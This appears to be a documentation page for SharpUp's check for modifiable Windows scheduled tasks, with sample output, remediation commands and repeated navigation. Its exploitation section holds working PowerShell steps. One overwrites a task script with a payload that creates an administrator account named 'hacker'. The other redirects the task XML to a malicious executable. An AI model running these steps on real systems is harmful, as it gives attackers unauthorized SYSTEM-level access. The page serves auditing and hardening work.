Modifiable Scheduled Task

How It Works

SharpUp examines scheduled tasks in %SystemRoot%\System32\Tasks:

Checks if task XML file is writable

Parses XML to find the command/binary to be executed

Checks if the binary is writable

Reports tasks where either file can be modified

Technical Details

Scheduled tasks run with configured privileges (often SYSTEM). If you can modify either:

The task XML file

The executable the task runs

You can execute arbitrary code with those privileges.

=== Modifiable Scheduled Task === Task Name : \Microsoft\Windows\BackupTask Task Path : C:\Windows\System32\Tasks\BackupTask Command : C:\Scripts\backup.ps1 Task XML Modifiable : False Task Binary Modifiable : True

Exploitation

Method 1: Replace Binary

# If binary is modifiable
$taskBinary = "C:\Scripts\backup.ps1"

# Backup original
Copy-Item $taskBinary "$taskBinary.bak"

# Replace with payload
$payload = "net user hacker P@ss /add && net localgroup administrators hacker /add"
$payload | Out-File $taskBinary

# Wait for task to run or trigger it
schtasks /run /tn "BackupTask"

Method 2: Modify Task XML

# If XML is modifiable
$taskXml = "C:\Windows\System32\Tasks\BackupTask"

# Read and modify XML
[xml]$xml = Get-Content $taskXml
$xml.Task.Actions.Exec.Command = "C:\temp\malicious.exe"
$xml.Save($taskXml)

# Task will run modified command at next schedule

Remediation

Secure Task Files

# Secure task directory
$taskPath = "$env:SystemRoot\System32\Tasks"
icacls $taskPath /inheritance:r
icacls $taskPath /grant:r "SYSTEM:(OI)(CI)F"
icacls $taskPath /grant:r "Administrators:(OI)(CI)F"
icacls $taskPath /grant:r "Users:(OI)(CI)RX"

Secure Task Binaries

Apply proper permissions to executables used by scheduled tasks.

Getting Started

Service Checks

Registry Checks

Credential Checks

DLL & Path Checks

Token & Privileges

Remediation

Overview

How It Works

Technical Details

Example Output

Exploitation

Method 1: Replace Binary

Method 2: Modify Task XML

Remediation

Modifiable Services

Registry Autoruns

​Overview

​How It Works

​Technical Details

​Example Output

​Exploitation

​Method 1: Replace Binary

​Method 2: Modify Task XML

​Remediation

​Related Checks

Modifiable Services

Registry Autoruns

Overview

How It Works

Technical Details

Example Output

Exploitation

Method 1: Replace Binary

Method 2: Modify Task XML

Remediation

Related Checks